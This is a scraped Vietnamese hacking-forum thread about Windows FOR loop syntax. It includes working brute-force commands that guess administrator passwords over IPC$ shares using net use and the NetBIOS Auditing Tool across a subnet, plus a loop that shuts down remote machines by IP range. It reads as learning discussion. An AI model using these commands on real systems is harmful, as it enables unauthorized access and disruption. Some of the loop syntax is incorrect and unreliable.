<![CDATA[Latest posts for the topic "Cho em hỏi mọt số vấn đề về lệnh trong DOS."]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net Cho em hỏi mọt số vấn đề về lệnh trong DOS. C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt " ]]> /hvaonline/posts/list/13325.html#79223 /hvaonline/posts/list/13325.html#79223 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS.

kimsonha wrote:
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt "  
==>lệnh này là lện Net use mới đúng , có nghĩa là bạn dựa vào danh sách user + password có sẵn trong userlist.txt để thử từng cái một. Đây là một hình thức của bruce force.]]>
/hvaonline/posts/list/13325.html#79225 /hvaonline/posts/list/13325.html#79225 GMT
Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79229 /hvaonline/posts/list/13325.html#79229 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79230 /hvaonline/posts/list/13325.html#79230 GMT Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79236 /hvaonline/posts/list/13325.html#79236 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79237 /hvaonline/posts/list/13325.html#79237 GMT Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79240 /hvaonline/posts/list/13325.html#79240 GMT Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79261 /hvaonline/posts/list/13325.html#79261 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79273 /hvaonline/posts/list/13325.html#79273 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS.

kimsonha wrote:
Gởi L0ng3ta: em tưởng là em copy bị sai nhưng hóa ra không phải ,chổ C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt đúng là "nat" chứ không phải là "net use" đâu. Vậy "nat" là lệnh gì vậy anh. Anh có thể vao trang quantrimang.com để xem cho rõ ,đó là bài "Hacking PC resource share - Hướng đi và giải pháp "  
Theo anh nghĩ thì nếu là Hacking PC resource share thì chủ yếu là dùng net use. Còn lệnh nat thì anh không hiểu ? em có thể nào cho anh cái link trực tiếp đến bài viết đó được không và chúng ta cùng nhau tìm hiểu em nhé.]]>
/hvaonline/posts/list/13325.html#79278 /hvaonline/posts/list/13325.html#79278 GMT
Cho em hỏi mọt số vấn đề về lệnh trong DOS.

kimsonha wrote:
Gởi L0ng3ta: em tưởng là em copy bị sai nhưng hóa ra không phải ,chổ C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt đúng là "nat" chứ không phải là "net use" đâu. Vậy "nat" là lệnh gì vậy anh. Anh có thể vao trang quantrimang.com để xem cho rõ ,đó là bài "Hacking PC resource share - Hướng đi và giải pháp "  
NAT là từ viết tắt của NetBios Auditing Tool, nó là một chương trình có thể dùng để lấy pass admin của Windows NT bằng cách tạo 1 file text có chứa username và password tương ứng, ví dụ như:
password username admin Administrator administrator Administrator secret Administrator  
Sau đó dùng lệnh FOR trong Windows chạy qua file này để dò pass. Xem thêm tại đây hoặc google với key: NetBIOS Auditing Tool]]>
/hvaonline/posts/list/13325.html#79282 /hvaonline/posts/list/13325.html#79282 GMT
Cho em hỏi mọt số vấn đề về lệnh trong DOS. tạo một tệp tin, trong đó có chứa username và password tương ứng nhau . Ví dụ ta tạo 1 file credentials.txt : [file: credentials.txt] password username admin Administrator administrator Administrator secret Administrator ........... ..................... sau đó dùng lệnh FOR trong Windows để dò password admin , cụ thể : c:\>FOR /F "tokens=1,2*" %i in (credetials.txt) do net use (tên ổ đĩa): \\server\IPC$ %i /u:%j Lệnh này lấy 2 "từ vị" ở mỗi dòng, và lấy "từ vị" đầu cho biến %i (password), và "từ" vị thứ 2 cho biến %j trong khi sử dụng lệnh net use cho resource IPC$, IPC$ ở đây có thể là ổ C$ hay D$, còn tên ổ đĩa bạn nên lấy những ổ "ảo", nghĩa là không có trên máy ví dụ ổ H: hay I: V: Lệnh này đã được mình test thành công ! ----------------------------------------------------------------- Có rất nhiều chương trình để lấy pass theo kiểu chọn này, ở đây ta dùng chương trình NAT (NetBIOS Auditing Tool), chương trình này được sử dụng cho tất cả các PC ở class C : D:\> FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt 192.168.202.%I >> nat_output.txt   p/s: cái bài tổng hợp này tôi cảm thấy có một điều bất ngờ là lại có cả đoạn code worm của tôi trong đó ... quả là hết nói.]]> /hvaonline/posts/list/13325.html#79289 /hvaonline/posts/list/13325.html#79289 GMT Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79292 /hvaonline/posts/list/13325.html#79292 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt "  Theo kiến thức nông cạn của tôi thì câu lệnh này thực thi 1 vòng lập FOR, tùy chọn là /F , và i là một variable, lấy user trong userlist.txt và passwd trong passlist.txt , sau đó lần lượt cho đến khi kết thúc. Code:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ('string') DO command [command-parameters]
FOR /F ["options"] %variable IN (`command`) DO command [command-parameters]

    filenameset is one or more file names.  Each file is opened, read
    and processed before going on to the next file in filenameset.
    Processing consists of reading in the file, breaking it up into
    individual lines of text and then parsing each line into zero or
    more tokens.  The body of the for loop is then called with the
    variable value(s) set to the found token string(s).  By default, /F
    passes the first blank separated token from each line of each file.
    Blank lines are skipped.  You can override the default parsing
    behavior by specifying the optional "options" parameter.  This
    is a quoted string which contains one or more keywords to specify
    different parsing options.  The keywords are:

        eol=c           - specifies an end of line comment character
                          (just one)
        skip=n          - specifies the number of lines to skip at the
                          beginning of the file.
        delims=xxx      - specifies a delimiter set.  This replaces the
                          default delimiter set of space and tab.
        tokens=x,y,m-n  - specifies which tokens from each line are to
                          be passed to the for body for each iteration.
                          This will cause additional variable names to
                          be allocated.  The m-n form is a range,
                          specifying the mth through the nth tokens.  I
                          the last character in the tokens= string is a
                          asterisk, then an additional variable is
                          allocated and receives the remaining text on
                          the line after the last token parsed.
        usebackq        - specifies that the new semantics are in force
                          where a back quoted string is executed as a
                          command and a single quoted string is a
                          literal string command and allows the use of
                          double quotes to quote file names in
                          filenameset.

    Some examples might help:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j

    would parse each line in myfile.txt, ignoring lines that begin with
    a semicolon, passing the 2nd and 3rd token from each line to the fo
    body, with tokens delimited by commas and/or spaces.  Notice the fo
    body statements reference %i to get the 2nd token, %j to get the
    3rd token, and %k to get all remaining tokens after the 3rd.  For
    file names that contain spaces, you need to quote the filenames wit
    double quotes.  In order to use double quotes in this manner, you a
    need to use the usebackq option, otherwise the double quotes will b
    interpreted as defining a literal string to parse.

    %i is explicitly declared in the for statement and the %j and %k
    are implicitly declared via the tokens= option.  You can specify up
    to 26 tokens via the tokens= line, provided it does not cause an
    attempt to declare a variable higher than the letter 'z' or 'Z'.
    Remember, FOR variables are single-letter, case sensitive, global,
    and you can't have more than 52 total active at any one time.

    You can also use the FOR /F parsing logic on an immediate string, b
    making the filenameset between the parenthesis a quoted string,
    using single quote characters.  It will be treated as a single line
    of input from a file and parsed.

    Finally, you can use the FOR /F command to parse the output of a
    command.  You do this by making the filenameset between the
    parenthesis a back quoted string.  It will be treated as a command
    line, which is passed to a child CMD.EXE and the output is captured
    into memory and parsed as if it was a file.  So the following
    example:

      FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    would enumerate the environment variable names in the current
    environment.

In addition, substitution of FOR variable references has been enhanced.
You can now use the following optional syntax:

    %~I         - expands %I removing any surrounding quotes (")
    %~fI        - expands %I to a fully qualified path name
    %~dI        - expands %I to a drive letter only
    %~pI        - expands %I to a path only
    %~nI        - expands %I to a file name only
    %~xI        - expands %I to a file extension only
    %~sI        - expanded path contains short names only
    %~aI        - expands %I to file attributes of file
    %~tI        - expands %I to date/time of file
    %~zI        - expands %I to size of file
    %~$PATH:I   - searches the directories listed in the PATH
                   environment variable and expands %I to the
                   fully qualified name of the first one found.
                   If the environment variable name is not
                   defined or the file is not found by the
                   search, then this modifier expands to the
                   empty string

The modifiers can be combined to get compound results:

    %~dpI       - expands %I to a drive letter and path only
    %~nxI       - expands %I to a file name and extension only
    %~fsI       - expands %I to a full path name with short names only
    %~dp$PATH:I - searches the directories listed in the PATH
                   environment variable for %I and expands to the
                   drive letter and path of the first one found.
    %~ftzaI     - expands %I to a DIR like output line

In the above examples %I and PATH can be replaced by other valid
values.  The %~ syntax is terminated by a valid FOR variable name.
Picking upper case variable names like %I makes it more readable and
avoids confusion with the modifiers, which are not case sensitive.
]]>
/hvaonline/posts/list/13325.html#79341 /hvaonline/posts/list/13325.html#79341 GMT
Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#79433 /hvaonline/posts/list/13325.html#79433 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#191748 /hvaonline/posts/list/13325.html#191748 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS.

microdelta wrote:
"FOR /F %i IN (1,1,254) DO" Giống như cấu trúc của ngôn ngữ lập trình C, C++, C#, Java, VB (Chúng chỉ khác nhau về cách viết lệnh và cách thực hiện trong nền tảng ngôn ngữ) Ví dụ cấu trúc: For /f %i In (a, b, c) Do ... For là từ khóa cho vòng lặp, %i: khai báo biến, a: giá trị bắt đầu vòng lặp, b: giá trị tăng thêm, c: giá trị kết thúc vòng lặp. Ví dụ: for /f %bien In (5, 3, 100) Do shutdown /s \\192.168.1.bien Lệnh trên sẽ Tắt máy có dịa chỉ IP: 192.168.1.5, 192.168.1.8 (5+3), 192.168.1.11 (8+3), ... Lệnh shutdown trên chưa thật sự chính xác lắm, cần cải tiến thêm do lỗi vòng lặp khi giá trị tăng lên nhưng không tìm thấy IP phù hợp hoặc không có mạng thì bị lỗi. Tốt nhất nên kiểm tra trước bằng lệnh ping và thực hiện các lệnh lần lượt có sự kiểm tra điều kiện--> đưa tất cả lệnh vào file script thì dễ dàng hơn. Mong rằng chúng sẽ có ích, chào bạn! 
Thế bạn cho mình biết còn lệnh lặp nào nữa không, giống như while..do hoặc repeat..until trong pascal đó.. mình tìm hoài mà chỉ thấy có for..do thôi]]>
/hvaonline/posts/list/13325.html#263609 /hvaonline/posts/list/13325.html#263609 GMT
Cho em hỏi mọt số vấn đề về lệnh trong DOS. Thế bạn cho mình biết còn lệnh lặp nào nữa không, giống như while..do hoặc repeat..until trong pascal đó.. mình tìm hoài mà chỉ thấy có for..do thôi  Bạn hãy tìm hiểu cú pháp GOTO http://ss64.com/nt/goto.html]]> /hvaonline/posts/list/13325.html#263611 /hvaonline/posts/list/13325.html#263611 GMT Cho em hỏi mọt số vấn đề về lệnh trong DOS. /hvaonline/posts/list/13325.html#263639 /hvaonline/posts/list/13325.html#263639 GMT